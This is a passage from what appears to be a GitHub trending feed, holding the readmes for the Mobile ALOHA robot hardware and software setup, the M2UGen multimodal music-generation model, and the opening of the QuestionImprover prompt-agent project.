href="https://docs.google.com/document/d/1_3yhWjodSNNYlpxkRCPIlvIAaQ76Nqk2wsqhnEVM6Dc">Hardware Assembly Tutorial</a> and the quick start guide below. To train imitation learning algorithms, you would also need to install <a href="https://github.com/MarkFzp/act-plus-plus">ACT for Mobile ALOHA</a> which is forked from <a href="https://github.com/tonyzhaozh/act">ACT</a>.</p> <h3>Repo Structure</h3> <ul> <li><code>config</code>: a config for each robot, designating the port they should bind to, more details in quick start guide.</li> <li><code>launch</code>: a ROS launch file for all 4 cameras and all 4 robots.</li> <li><code>aloha_scripts</code>: python code for teleop and data collection</li> </ul> <h2>Quick start guide</h2> <h3>Software selection -- OS:</h3> <p>Currently tested and working configurations:</p> <ul> <li><span>โœ…</span> Ubuntu 18.04 + ROS 1 noetic</li> <li><span>โœ…</span> Ubuntu 20.04 + ROS 1 noetic</li> </ul> <p>Ongoing testing (compatibility effort underway):</p> <ul> <li><span>๐Ÿšง</span> ROS 2</li> <li><span>๐Ÿšง</span> &gt;= Ubuntu 22.04</li> </ul> <h3>Software installation - ROS:</h3> <ol> <li>Install ROS and interbotix software following <a href="https://docs.trossenrobotics.com/interbotix_xsarms_docs/">https://docs.trossenrobotics.com/interbotix_xsarms_docs/</a></li> <li>This will create the directory <code>~/interbotix_ws</code> which contains <code>src</code>.</li> <li>git clone this repo inside <code>~/interbotix_ws/src</code></li> <li><code>source /opt/ros/noetic/setup.sh &amp;&amp; source ~/interbotix_ws/devel/setup.sh</code></li> <li><code>sudo apt-get install ros-noetic-usb-cam &amp;&amp; sudo apt-get install ros-noetic-cv-bridge</code></li> <li>run <code>catkin_make</code> inside <code>~/interbotix_ws</code>, make sure the build is successful</li> <li>go to <code>~/interbotix_ws/src/interbotix_ros_toolboxes/interbotix_xs_toolbox/interbotix_xs_modules/src/interbotix_xs_modules/arm.py</code>, find function <code>publish_positions</code>. Change <code>self.T_sb = mr.FKinSpace(self.robot_des.M, self.robot_des.Slist, self.joint_commands)</code> to <code>self.T_sb = None</code>. This prevents the code from calculating FK at every step which delays teleoperation.</li> </ol> <h3>Hardware installation:</h3> <p>The goal of this section is to run <code>roslaunch aloha 4arms_teleop.launch</code>, which starts communication with 4 robots and 3 cameras. It should work after finishing the following steps:</p> <p>Step 1: Connect 4 robots to the computer via USB, and power on. <em>Do not use extension cable or usb hub</em>.</p> <ul> <li> <p>To check if the robot is connected, install dynamixel wizard <a href="https://emanual.robotis.com/docs/en/software/dynamixel/dynamixel_wizard2/">here</a></p> </li> <li> <p>Dynamixel wizard is a very helpful debugging tool that connects to individual motors of the robot. It allows things such as rebooting the motor (very useful!), torque on/off, and sending commands. However, it has no knowledge about the kinematics of the robot, so be careful about collisions. The robot <em>will</em> collapse if motors are torque off i.e. there is no automatically engaged brakes in joints.</p> </li> <li> <p>Open Dynamixel wizard, go into <code>options</code> and select:</p> <ul> <li>Protocal 2.0</li> <li>All ports</li> <li>1000000 bps</li> <li>ID range from 0-10</li> </ul> </li> <li> <p>Note: repeat above everytime before you scan.</p> </li> <li> <p>Then hit <code>Scan</code>. There should be 4 devices showing up, each with 9 motors.</p> </li> <li> <p>One issue that arises is the port each robot binds to can change over time, e.g. a robot that is initially <code>ttyUSB0</code> might suddenly become <code>ttyUSB5</code>. To resolve this, we bind each robot to a fixed symlink port with the following mapping:</p> <ul> <li><code>ttyDXL_master_right</code>: right master robot (master: the robot that the operator would be holding)</li> <li><code>ttyDXL_puppet_right</code>: right puppet robot (puppet: the robot that performs the task)</li> <li><code>ttyDXL_master_left</code>: left master robot</li> <li><code>ttyDXL_puppet_left</code>: left puppet robot</li> </ul> </li> <li> <p>Take <code>ttyDXL_master_right</code>: right master robot as an example:</p> <ol> <li> <p>Find the port that the right master robot is currently binding to, e.g. <code>ttyUSB0</code></p> </li> <li> <p>run <code>udevadm info --name=/dev/ttyUSB0 --attribute-walk | grep serial</code> to obtain the serial number. Use the first one that shows up, the format should look similar to <code>FT6S4DSP</code>.</p> </li> <li> <p><code>sudo vim /etc/udev/rules.d/99-fixed-interbotix-udev.rules</code> and add the following line:</p> <pre><code>SUBSYSTEM=="tty", ATTRS{serial}=="&lt;serial number here&gt;", ENV{ID_MM_DEVICE_IGNORE}="1", ATTR{device/latency_timer}="1", SYMLINK+="ttyDXL_master_right" </code></pre> </li> <li> <p>This will make sure the right master robot is <em>always</em> binding to <code>ttyDXL_master_right</code></p> </li> <li> <p>Repeat with the rest of 3 arms.</p> </li> </ol> </li> <li> <p>To apply the changes, run <code>sudo udevadm control --reload &amp;&amp; sudo udevadm trigger</code></p> </li> <li> <p>If successful, you should be able to find <code>ttyDXL*</code> in your <code>/dev</code></p> </li> </ul> <p>Step 2: Set max current for gripper motors</p> <ul> <li>Open Dynamixel Wizard, and select the wrist motor for puppet arms. The name of it should be <code>[ID:009] XM430-W350</code></li> <li>Tip: the LED on the base of robot will flash when it is talking to Dynamixel Wizard. This will help determine which robot is selected.</li> <li>Find <code>38 Current Limit</code>, enter <code>300</code>, then hit <code>save</code> at the bottom.</li> <li>Repeat this for both puppet robots.</li> <li>This limits the max current through gripper motors, to prevent overloading errors.</li> </ul> <p>Step 3: Setup 3 cameras</p> <ul> <li> <p>You may use usb hub here, but <em>maximum 2 cameras per hub for reasonable latency</em>.</p> </li> <li> <p>To make sure all 3 cameras are binding to a consistent port, similar steps are needed.</p> </li> <li> <p>Cameras are by default binding to <code>/dev/video{0, 1, 2...}</code>, while we want to have symlinks <code>{CAM_RIGHT_WRIST, CAM_LEFT_WRIST, CAM_HIGH}</code></p> </li> <li> <p>Take <code>CAM_RIGHT_WRIST</code> as an example, and let's say it is now binding to <code>/dev/video0</code>. run <code>udevadm info --name=/dev/video0 --attribute-walk | grep serial</code> to obtain it's serial. Use the first one that shows up, the format should look similar to <code>0E1A2B2F</code>.</p> </li> <li> <p>Then <code>sudo vim /etc/udev/rules.d/99-fixed-interbotix-udev.rules</code> and add the following line</p> <pre><code>SUBSYSTEM=="video4linux", ATTRS{serial}=="&lt;serial number here&gt;", ATTR{index}=="0", ATTRS{idProduct}=="085c", ATTR{device/latency_timer}="1", SYMLINK+="CAM_RIGHT_WRIST" </code></pre> </li> <li> <p>Repeat this for <code>{CAM_LEFT_WRIST, CAM_HIGH}</code> in additional to <code>CAM_RIGHT_WRIST</code></p> </li> <li> <p>To apply the changes, run <code>sudo udevadm control --reload &amp;&amp; sudo udevadm trigger</code></p> </li> <li> <p>If successful, you should be able to find <code>{CAM_RIGHT_WRIST, CAM_LEFT_WRIST, CAM_HIGH}</code> in your <code>/dev</code></p> </li> </ul> <p>Step 4: Setup the AgileX Tracer base</p> <ul> <li>Connect the base to the computer via the stock CANBUS-to-USB cable, and power on.</li> <li>Install SDK from AgileX <pre><code>pip3 install pyagxrobots </code></pre> </li> <li>Enable gs_usb kernel module <pre><code>sudo modprobe gs_usb </code></pre> </li> <li>Bring up the CAN device <pre><code>sudo ip link set can0 up type can bitrate 500000 </code></pre> </li> <li>If no error occured in the previous steps, you should be able to see the can device now by using command <pre><code>ifconfig -a </code></pre> </li> <li>Install and use can-utils to test the hardware <pre><code>sudo apt install can-utils </code></pre> </li> <li>Testing commands: <pre><code># receiving data from can0 candump can0 </code></pre> </li> </ul> <p>At this point, have a new terminal</p> <pre><code>conda deactivate # if conda shows up by default source /opt/ros/noetic/setup.sh &amp;&amp; source ~/interbotix_ws/devel/setup.sh roslaunch aloha 4arms_teleop.launch </code></pre> <p>If no error message is showing up, the computer should be successfully connected to all 3 cameras, all 4 robot arms and the robot base.</p> <h4>Trouble shooting</h4> <ul> <li>Make sure Dynamixel Wizard is disconnected, and no app is using webcam's stream. It will prevent ROS from connecting to these devices.</li> </ul> <h3>Software installation - Conda:</h3> <pre><code>conda create -n aloha python=3.8.10 conda activate aloha pip install torchvision pip install torch pip install pyquaternion pip install pyyaml pip install rospkg pip install pexpect pip install mujoco pip install dm_control pip install opencv-python pip install matplotlib pip install einops pip install packaging pip install h5py pip install tqdm pip install wandb </code></pre> <h3>Testing teleoperation</h3> <p><strong>Notice</strong>: Before running the commands below, be sure to place all 4 robots in their sleep positions, and open master robot's gripper. All robots will rise to a height that is easy for teleoperation.</p> <pre><code># ROS terminal conda deactivate source /opt/ros/noetic/setup.sh &amp;&amp; source ~/interbotix_ws/devel/setup.sh roslaunch aloha 4arms_teleop.launch # Right hand terminal conda activate aloha cd ~/interbotix_ws/src/aloha/aloha_scripts python3 one_side_teleop.py right # Left hand terminal conda activate aloha cd ~/interbotix_ws/src/aloha/aloha_scripts python3 one_side_teleop.py left </code></pre> <p>The teleoperation will start when the master side gripper is closed.</p> <h2>Example Usages</h2> <p>To set up a new terminal, run:</p> <pre><code>conda activate aloha cd ~/interbotix_ws/src/aloha/aloha_scripts </code></pre> <p>The <code>one_side_teleop.py</code> we ran is for testing teleoperation and has no data collection. To collect data for an episode, run:</p> <pre><code>python3 record_episodes.py --dataset_dir &lt;data save dir&gt; --episode_idx 0 </code></pre> <p>This will store a hdf5 file at <code>&lt;data save dir&gt;</code>. To change episode length and other params, edit <code>constants.py</code> directly.</p> <p>To visualize the episode collected, run:</p> <pre><code>python3 visualize_episodes.py --dataset_dir &lt;data save dir&gt; --episode_idx 0 </code></pre> <p>To replay the episode collected with real robot, run:</p> <pre><code>python3 replay_episodes.py --dataset_dir &lt;data save dir&gt; --episode_idx 0 </code></pre> <p>To lower 4 robots before e.g. cutting off power, run:</p> <pre><code>python3 sleep.py </code></pre> - shansongliu/M2UGen - 2024-01-05T01:35:30Z - tag:github.com,2024-01-05:/shansongliu/M2UGen - - <p>This is the official repository for M2UGen</p><hr><p> </p> <h1> <img src="https://raw.githubusercontent.com/shansongliu/M2UGen/main/assets/logo.png" height="120px" align="right"> M<sup>2</sup>UGen: Multi-modal Music Understanding and Generation with the Power of Large Language Models </h1> <p></p> <p><a href="https://arxiv.org/abs/2311.11255"><img src="https://img.shields.io/badge/%F0%9F%93%8E%20arXiv-Paper-red" alt="PWC"></a> <a href="https://crypto-code.github.io/M2UGen-Demo/"><img src="https://img.shields.io/badge/%F0%9F%8C%8E%20Website-Official%20Page-blue" alt="PWC"></a> <a href="https://huggingface.co/spaces/M2UGen/M2UGen-Demo"><img src="https://img.shields.io/badge/HuggingFace-Demo-Green" alt="PWC"></a></p> <p>This is the official repository for <em><a href="https://arxiv.org/abs/2308.11276">M<sup>2</sup>UGen: Multi-modal Music Understanding and Generation with the Power of Large Language Models</a></em>.</p> <h2>๐Ÿš€ Introduction</h2> <p>The M<sup>2</sup>UGen model is a Music Understanding and Generation model that is capable of Music Question Answering and also Music Generation from texts, images, videos and audios, as well as Music Editing. The model utilizes encoders such as MERT for music understanding, ViT for image understanding and ViViT for video understanding and the MusicGen/AudioLDM2 model as the music generation model (music decoder), coupled with adapters and the LLaMA 2 model to make the model possible for multiple abilities. The model architecture is given in <a href="https://raw.githubusercontent.com/shansongliu/M2UGen/main/M2UGen/llama/m2ugen.py"><strong><em>m2ugen.py</em></strong></a>.</p> <p align="center"> <img src="https://raw.githubusercontent.com/shansongliu/M2UGen/main/assets/M2UGen.png"> </p> <p>To train our model, we generate datasets using a music captioning and question answering model, i.e. the <a href="https://github.com/crypto-code/MU-LLaMA">MU-LLaMA</a> model. The dataset generation methods are given in the <a href="https://raw.githubusercontent.com/shansongliu/M2UGen/main/Datasets">Datasets</a> folder.</p> <h2>๐Ÿค— HuggingFace Demo</h2> <p>We have provided a HuggingFace Space to see our model in action: <a href="https://huggingface.co/spaces/M2UGen/M2UGen-Demo">M2UGen/M2UGen-Demo</a>.</p> <h2>๐Ÿค– Model Setup</h2> <p>We use Python 3.9.17 for this project and the library requirements are given in requirements.txt. Create a conda environment using</p> <pre><code>conda create --name &lt;env&gt; --file requirements.txt </code></pre> <p>Ensure that the NVIDIA Driver is version 12 or above to be compatible with PyTorch 2.1.0.</p> <p>For the working of our model, Facebook's LLaMA-2 model weights are required, details on obtaining these weights are given on <a href="https://huggingface.co/docs/transformers/main/model_doc/llama">HuggingFace</a>.</p> <p>The trained checkpoints for our model is available here:</p> <ul> <li><a href="https://huggingface.co/M2UGen/M2UGen-MusicGen-small">M<sup>2</sup>UGen with MusicGen Small</a></li> <li><a href="https://huggingface.co/M2UGen/M2UGen-MusicGen-medium">M<sup>2</sup>UGen with MusicGen Medium</a></li> <li><a href="https://huggingface.co/M2UGen/M2UGen-AudioLDM2">M<sup>2</sup>UGen with AudioLDM2</a></li> </ul> <p>The needed pretrained multi-modal encoder and music decoder models can be found here:</p> <ul> <li><a href="https://huggingface.co/m-a-p/MERT-v1-330M">MERT</a></li> <li><a href="https://huggingface.co/google/vit-base-patch16-224-in21k">ViT</a></li> <li><a href="https://huggingface.co/google/vivit-b-16x2-kinetics400">ViViT</a></li> <li><a href="https://huggingface.co/facebook/musicgen-medium">MusicGen</a></li> <li><a href="https://huggingface.co/cvssp/audioldm2-music">AudioLDM 2</a></li> </ul> <p>The directory of the checkpoints folder can be organized as follows:</p> <pre><code>. โ”œโ”€โ”€ ... โ”œโ”€โ”€ M2UGen โ”‚ โ”œโ”€โ”€ ckpts โ”‚ โ”‚ โ”‚โ”€โ”€ LLaMA โ”‚ โ”‚ โ”‚ โ”‚โ”€โ”€ 7B โ”‚ โ”‚ โ”‚ โ”‚ โ”‚โ”€โ”€ checklist.chk โ”‚ โ”‚ โ”‚ โ”‚ โ”‚โ”€โ”€ consolidated.00.pth โ”‚ โ”‚ โ”‚ โ”‚ โ”‚โ”€โ”€ params.json โ”‚ โ”‚ โ”‚ โ”‚โ”€โ”€ llama.sh โ”‚ โ”‚ โ”‚ โ”‚โ”€โ”€ tokenizer.model โ”‚ โ”‚ โ”‚ โ”‚โ”€โ”€ tokenizer_checklist.chk โ”‚ โ”‚ โ”‚โ”€โ”€ M2UGen-MusicGen โ”‚ โ”‚ โ”‚ โ”‚โ”€โ”€ checkpoint.pth โ”‚ โ”‚ โ”‚โ”€โ”€ M2UGen-AudioLDM2 โ”‚ โ”‚ โ”‚ โ”‚โ”€โ”€ checkpoint.pth โ”‚ โ”‚ โ”‚โ”€โ”€ knn.index โ””โ”€โ”€ ... </code></pre> <p>Once downloaded, the Gradio demo can be run using these checkpoints.</p> <p>For model with MusicGen</p> <pre><code>python gradio_app.py --model ./ckpts/M2UGen-MusicGen --llama_dir ./ckpts/LLaMA-2 --music_decoder musicgen </code></pre> <p>For model with AudioLDM2</p> <pre><code>python gradio_app.py --model ./ckpts/M2UGen-AudioLDM2 --llama_dir ./ckpts/LLaMA-2 --music_decoder audioldm2 </code></pre> <h2>๐Ÿ—„๏ธ Dataset Generation</h2> <p>We use the <a href="https://github.com/crypto-code/MU-LLaMA">MU-LLaMA</a> and <a href="https://huggingface.co/mosaicml/mpt-7b-chat">MPT-7B</a> models to generate the MUCaps, MUEdit, MUImge and MUVideo datasets. For each of the datasets, run the scripts in the folder <a href="https://raw.githubusercontent.com/shansongliu/M2UGen/main/Datasets">Datasets</a> in its numbered order to generate the datasets.</p> <p>The datasets are also available for download here:</p> <ul> <li><a href="https://huggingface.co/datasets/M2UGen/MUCaps">MUCaps</a></li> <li><a href="https://huggingface.co/datasets/M2UGen/MUEdit">MUEdit</a></li> <li><a href="https://huggingface.co/datasets/M2UGen/MUImage">MUImage</a></li> <li><a href="https://huggingface.co/datasets/M2UGen/MUVideo">MUVideo</a></li> </ul> <h2>๐Ÿ”ง Model Training</h2> <p>To train the M<sup>2</sup>UGen model, run the <a href="https://raw.githubusercontent.com/shansongliu/M2UGen/main/M2UGen/train_musicgen.sh"><strong><em>train_musicgen.sh</em></strong></a> or <a href="https://raw.githubusercontent.com/shansongliu/M2UGen/main/M2UGen/train_audioldm2.sh"><strong><em>train_audioldm2.sh</em></strong></a> script. The scripts are designed to train the model for all three stages with <a href="https://huggingface.co/docs/transformers/model_doc/musicgen">MusicGen</a> and <a href="https://huggingface.co/docs/diffusers/main/en/api/pipelines/audioldm2">AudioLDM2</a> music decoders respectively.</p> <p>The main model architecture is given in <a href="https://raw.githubusercontent.com/shansongliu/M2UGen/main/M2UGen/llama/m2ugen.py"><strong><em>m2ugen.py</em></strong></a> and the modified MusicGen and AudioLDM2 architectures are present within the <a href="https://raw.githubusercontent.com/shansongliu/M2UGen/main/M2UGen/llama/musicgen/"><strong><em>musicgen</em></strong></a> and <a href="https://raw.githubusercontent.com/shansongliu/M2UGen/main/M2UGen/llama/audioldm2/"><strong><em>audioldm2</em></strong></a> folders respectively. The <a href="https://raw.githubusercontent.com/shansongliu/M2UGen/main/M2UGen/data/"><strong><em>data</em></strong></a> folder contains the python files to handle loading the dataset. The <a href="https://raw.githubusercontent.com/shansongliu/M2UGen/main/M2UGen/data/dataset.py"><strong><em>dataset.py</em></strong></a> file will show the use of different datasets based on the training stage. The code for the training epochs are present in <a href="https://raw.githubusercontent.com/shansongliu/M2UGen/main/M2UGen/engine_train.py"><strong><em>engine_train.py</em></strong></a>.</p> <h2>๐Ÿ”จ Model Testing and Evaluation</h2> <p>To test the M<sup>2</sup>UGen model, run <a href="https://raw.githubusercontent.com/shansongliu/M2UGen/main/M2UGen/gradio_app.py"><strong><em>gradio_app.py</em></strong></a>.</p> <pre><code>usage: gradio_app.py [-h] [--model MODEL] [--llama_type LLAMA_TYPE] [--llama_dir LLAMA_DIR] [--mert_path MERT_PATH] [--vit_path VIT_PATH] [--vivit_path VIVIT_PATH] [--knn_dir KNN_DIR] [--music_decoder MUSIC_DECODER] optional arguments: -h, --help show this help message and exit --model MODEL Name of or path to M2UGen pretrained checkpoint --llama_type LLAMA_TYPE Type of llama original weight --llama_dir LLAMA_DIR Path to LLaMA pretrained checkpoint --mert_path MERT_PATH Path to MERT pretrained checkpoint --vit_path VIT_PATH Path to ViT pretrained checkpoint --vivit_path VIVIT_PATH Path to ViViT pretrained checkpoint --knn_dir KNN_DIR Path to directory with KNN Index --music_decoder MUSIC_DECODER Decoder to use musicgen/audioldm2 </code></pre> <p>To evaluate the M<sup>2</sup>UGen model and other compared models in our paper, please refer to <a href="https://raw.githubusercontent.com/shansongliu/M2UGen/main/Evaluation"><strong><em>Evaluation</em></strong></a> folder.</p> <h2>๐Ÿงฐ System Hardware requirements</h2> <p>For training, stage 1 and 2 use a single 32GB V100 GPU while stage 3 uses 2 32GB V100 GPUs. For inference, a single 32GB V100 GPU is used. For loading model checkpoint, approximately 49GB of CPU memory is required.</p> <h2>๐Ÿซก Acknowledgements</h2> <p>This code contains elements from the following repo:</p> <ul> <li><a href="https://github.com/crypto-code/MU-LLaMA">crypto-code/MU-LLaMA</a></li> </ul> <h2>โœจ Cite our work</h2> <p>If you find this repo useful, please consider citing:</p> <pre><code class="language-bibtex">@article{hussain2023m, title={{M$^{2}$UGen: Multi-modal Music Understanding and Generation with the Power of Large Language Models}}, author={Hussain, Atin Sakkeer and Liu, Shansong and Sun, Chenshuo and Shan, Ying}, journal={arXiv preprint arXiv:2311.11255}, year={2023} } </code></pre> <h2>Star History</h2> <p><a href="https://star-history.com/#shansongliu/M2UGen&amp;Date"><img src="https://api.star-history.com/svg?repos=shansongliu/M2UGen&amp;type=Date" alt="Star History Chart"></a></p> + sockcymbal/QuestionImprover + 2024-01-06T01:34:23Z + tag:github.com,2024-01-06:/sockcymbal/QuestionImprover + + <p>Improve your questions! The AI for Inquiry - QuestionImprover Agent is an LLM-driven โ€œtool for thoughtโ€ designed to enhance the depth and quality of user-posed questions by engaging expert personas in a novel graph-based reasoning rhythm to foster a cycle of iterative inquiry improvement.</p><hr><h1>๐Ÿง  AI for Inquiry - The Question Improver Agent</h1> <p>The Question Improver Agent is an LLM-driven "tool for thought" designed to elevate the quality and depth of user-posed questions. It utilizes a novel reasoning algorithm integrating diverse expert personas and a graph-based reasoning rhythm to systematically refine questions, making them more insightful, thought-provoking and suited for in-depth exploration across various domains, such as academic research, business strategy, or personal inquiry.</p> <p>This tool aims to elevate the art of inquiry, fostering a cycle of deepened understanding, more meaningful dialog and progressively insightful questioning.</p> <p>This project recently won 1st place at an AI for Thought Hackathon at AGI House SF, showcasing how we can enhance cognitive processes using creative AI techniques.</p> <h3>Motivation:</h3> <blockquote> <p>How to navigate the Information Age through better questions</p> </blockquote> <p>The premise for this agent is that in an age where information inundates and overwhelms us, the ability to ask the right questions is more crucial than ever.</p> <ul> <li>the meta-skill and art lies not in amassing answers, but in crafting good questions</li> <li>the caliber of questions often dictates the value of the answers we uncover</li> <li>the right questions can even be more illuminating than the answers</li> </ul> <p>The QuestionImprover Agent harnesses this principle, creating a virtuous self-reinforcing cycle where enhanced understanding leads to ever more profound questions, thereby fostering even deeper insights.</p> <p>This repo consists of</p> <ul> <li>a persona library that I've started to define</li> <li>all the prompts used so you can try this with your own questions in a UI like ChatGPT</li> <li>simple python example in a Jupyter notebook implementation using Langchain to help orchestrate the prompt engineering</li> </ul> <h1></h1> <h3>Table of Contents</h3> <ol> <li><a href="https://raw.githubusercontent.com/sockcymbal/QuestionImprover/main/#ai-for-inquiry---the-question-improver-agent-%F0%9F%A7%A0"><strong>Introduction</strong></a></li> </ol> <ul> <li>Overview of the QuestionImprover Agent</li> <li>The Necessity of Quality Questioning in Today's World</li> </ul> <ol start="2"> <li><a href="https://raw.githubusercontent.com/sockcymbal/QuestionImprover/main/#motivation"><strong>Motivation</strong></a></li> </ol> <ul> <li>The Art of Crafting Profound Questions</li> <li>Creating a Cycle of Deepened Understanding</li> </ul> <ol start="3"> <li><a href="https://raw.githubusercontent.com/sockcymbal/QuestionImprover/main/#user-experience"><strong>User Experience: Journey Through the Agent</strong></a></li> </ol> <ul> <li>Step-by-Step Guide: From Initial Inquiry to Enhanced Question</li> </ul> <ol start="4"> <li><a href="https://raw.githubusercontent.com/sockcymbal/QuestionImprover/main/#components-of-the-agent"><strong>Components of the Agent</strong></a></li> </ol> <ul> <li>Initial Problem Assessment</li> <li>Persona Library and Expert Integration</li> <li>Graph-of-Thoughts Reasoning Rhythm</li> <li>Enhanced Question Output and Iterative Refinement</li> </ul> <ol start="5"> <li><a href="https://raw.githubusercontent.com/sockcymbal/QuestionImprover/main/#agent-cybernetics-the-inner-workings"><strong>Agent Cybernetics: The Inner Workings</strong></a></li> </ol> <ul> <li>The Role of Feedback Loops</li> <li>Insight, Evaluation, and Adaptation Loops</li> <li>Synthesis, Reflection, and Refinement Loops</li> </ul> <ol start="6"> <li><a href="https://raw.githubusercontent.com/sockcymbal/QuestionImprover/main/#%F0%9F%94%97-prompt-sequence"><strong>The Agent's Prompt Sequence</strong></a></li> </ol> <ul> <li>Detailed Breakdown of Each Prompt in the Reasoning Process</li> </ul> <ol start="7"> <li><a href="https://raw.githubusercontent.com/sockcymbal/QuestionImprover/main/#ideal-types-of-questions-for-the-questionimprover-agent"><strong>Types of Questions Ideal for the Agent</strong></a></li> </ol> <ul> <li>Range of Queries Ideal for the Agentโ€™s Capabilities</li> </ul> <ol start="8"> <li><a href="https://raw.githubusercontent.com/sockcymbal/QuestionImprover/main/#future-vision"><strong>Future Development</strong></a></li> </ol> <ul> <li>Plans for Enhancements and New Features</li> <li>UI Development and Automation Strategies</li> </ul> <h1></h1> <h3>User Experience:</h3> <p>Step 1: Initiate with Your Inquiry</p> <ul> <li>Begin by presenting your current question to the system. This could be any topic or dilemma you're keen to explore more deeply. It's the starting point of your journey into enhanced understanding.</li> </ul> <p>Step 2: Intelligent Persona Selection</p> <ul> <li>Based on your question, the agent automatically selects the most relevant expert personas from a diverse pool. Feel free to fine-tune this selection, adding or removing personas to better fit the nuances of your question.</li> </ul> <p>Step 3: Experience the Graph-of-Thoughts Reasoning Process</p> <ul> <li>Engage with the agent's distinctive 'Graph-of-Thoughts' reasoning process. This is where the magic happens โ€“ your question is dissected, analyzed, and reimagined through multiple expert perspectives, evolving with each insightful interaction.</li> </ul> <p>Step 4: Discover Your Enhanced Question</p> <ul> <li>What emerges from this process is a question thatโ€™s not just an improvement but a revelation โ€“ more insightful, probing, and designed to unlock deeper understanding. It's a testament to the power of collaborative intelligence and thoughtful refinement.</li> </ul> <p>Step 5: Embark on Iterative Exploration for Deeper Insights</p> <ul> <li>Don't stop there! Use the newly improved question as a launchpad for further discovery. Begin again with the new question and repeat the process. Each iteration allows you to dive deeper, continually refining the question and exploring new dimensions with different personas.</li> </ul> <h1></h1> <h3>Components of the Agent:</h3> <ol> <li><strong>Initial Problem Assessment</strong></li> </ol> <ul> <li>Tackles complex issues with multiple trade-offs, setting the stage for a thorough inquiry process.</li> </ul> <ol start="2"> <li><strong>Persona Library</strong></li> </ol> <ul> <li>Features a diverse collection of expert personas for simulation, each embodying unique perspectives and specialized knowledge. These personas contribute distinct angles of expertise, enriching the question refinement process with a breadth of insights.</li> </ul> <ol start="3"> <li><strong>๐ŸŽถ Graph-of-Thoughts Reasoning Rhythm</strong></li> </ol> <ul> <li>A harmonious and methodical process that orchestrates collaborative reasoning, featuring several key stages: <ul> <li><strong>Dynamic Multi-Persona Expert Selection</strong>: Intelligently combines expert personas in a way that aligns with the unique facets of each question, ensuring a tailored and relevant approach to question elevation.</li> <li><strong>Self&lt;&gt;Peer Critique</strong>: Engages personas in a critical analysis phase, where they scrutinize and challenge both their own insights and those of their peers, fostering a culture of constructive feedback and continuous improvement.</li> <li><strong>Self&lt;&gt;Peer Evaluation</strong>: Involves careful consideration of the various critiques and viewpoints presented, deepening the understanding and expanding the horizons of the original question.</li> <li><strong>Expansion, Branching, Exploration</strong>: Encourages expansive thinking, inviting personas to venture into new realms of ideas, discover unseen connections, and explore innovative perspectives.</li> <li><strong>Synthesis of Individual Insights</strong>: Each persona distills their collective wisdom, refining it into a singular, comprehensive insight.</li> <li><strong>Fusion of Collective Insight</strong>: Integrates the most potent elements from each persona's input, forming a unified, powerful, and insightful response.</li> <li><strong>Reflective Retrospective</strong>: A phase dedicated to evaluating the effectiveness of the reasoning process, extracting lessons and insights to optimize future inquiries.</li> </ul> </li> </ul> <ol start="4"> <li>Enhanced Question Output</li> </ol> <ul> <li>Delivers a significantly refined, deeper, and more thought-provoking version of the original question, elevating the inquiry to new levels of sophistication and insight.</li> </ul> <ol start="5"> <li>Iterative Refinement (Optional)</li> </ol> <ul> <li>Option to re-engage with the reasoning process multiple times, further enriching the question with each cycle. This iterative approach allows for continuous improvement, reaching deeper layers of understanding until a point of maximum insight is achieved.</li> </ul> <h1></h1> <h2>๐Ÿงฌ Agent Cybernetics: The Inner Workings</h2> <blockquote> <p>These feedback loops are iterative and dynamic, with each loop informing and shaping the subsequent ones. They create a rhythm of continuous improvement and learning, ensuring that the conversation remains adaptive, responsive to new information, and oriented toward deeper understanding and inquiry.</p> </blockquote> <ol> <li> <p><strong>Initial Insight and Critique Loop</strong>: Each persona provides initial insights specific to their expertise, laying the foundation for the reasoning process. This loop establishes the primary perspectives and sets the stage for the conversation. This is followed by a critique phase, where each persona critically evaluates their own and others' insights. This loop of insight and critique ensures that each perspective is not only articulated but also challenged and refined.</p> </li> <li> <p><strong>Adaptation and Expansion Loop</strong>: After receiving critiques, each persona adapts their insights to incorporate this feedback. This loop focuses on evolution, where personas reassess and reformulate their ideas, creating a more nuanced and comprehensive network of interconnected thoughts.</p> </li> <li> <p><strong>Integration and Synthesis Loop</strong>: The personas then synthesize their evolved thoughts into individual conclusions, striving to converge on the best answer. This loop involves distilling the collective wisdom into coherent positions that reflect the integration of all perspectives.</p> </li> <li> <p><strong>Convergence and Divergence Loop</strong>: The process then moves into a phase where personas explore new, divergent ideas stimulated by the previous feedback loops, followed by a convergence phase where these ideas are brought together into a unified, comprehensive response. This loop allows for the exploration of novel concepts and the integration of diverse thoughts into a cohesive narrative.</p> </li> <li> <p><strong>Meta-Analysis and Reflection Loop:</strong> The conversation crescendos in a meta-analysis, where each persona reflects on the effectiveness of the interconnected thoughts, the dynamics between personas, and the adaptation to critiques. This loop is critical for evaluating the reasoning process itself and identifying opportunities for future improvements.</p> </li> <li> <p><strong>Question Refinement and Enhancement Loop:</strong> Finally, the initial question is refined based on the insights gained through the networked reasoning process. This loop focuses on transforming the question into a more insightful and universally engaging form, encapsulating the essence of the collaborative thought process.</p> </li> </ol> <h3>There are three primary layers of feedback loops:</h3> <ol> <li> <p><strong>User Input and Response Feedback Loop</strong>:</p> <ul> <li>Initial Input: The user starts by posing a question to the system.</li> <li>Agent Processing and Output: The AI processes the question through its multi-layered reasoning rhythm, outputting a refined question.</li> <li>User Evaluation and Feedback: The user evaluates the refined question, assessing its depth, relevance, and clarity. Users can modify the agent's prompts to better suit their specific context or inquiry goals.</li> </ul> </li> <li> <p><strong>Internal Layer Feedback Loops</strong>: These occur within each major phase or component of the methodology. Examples include:</p> <ul> <li>The interaction and critique within the expert persona selection and interaction phase.</li> <li>The process of self and peer criticism, where personas evaluate and refine their own and each other's insights.</li> <li>The evaluation and expansion phase, where feedback leads to the exploration of new ideas and the refinement of existing ones.</li> <li>The idea integration and network building within each persona's thought process.</li> </ul> </li> <li> <p><strong>External Layer Feedback Loops</strong>: These are the loops that connect different phases of the methodology, ensuring that insights and improvements from one phase inform and enhance subsequent phases. Examples include:</p> <ul> <li>The convergence and synthesis loop, where the insights from individual and collective convergence phases are used to refine the question and the process itself.</li> <li>The retrospective and iterative improvement loop, which reflects on the entire process and informs improvements for future iterations.</li> <li>Iterative Refinement via Chain-of-Graph-of-Thoughts: Based on the user's goals, iterate through the reasoning process again from the beginning, inputting the recently improved question to make it even better. This chains together individual Graph-of-Thoughts rhythms, where the outcome of one cycle informs the starting point of the next.</li> </ul> </li> </ol> <p>These layers of feedback loops interact with each other, creating a dynamic, interconnected system. The internal loops ensure depth and rigor within each phase, while the external loops ensure that the entire process is cohesive, adaptive, continually improving, and aligned with human goals.</p> <h1></h1> <h1>๐Ÿ”— Prompt Sequence</h1> <h3>Prompt 1: Persona 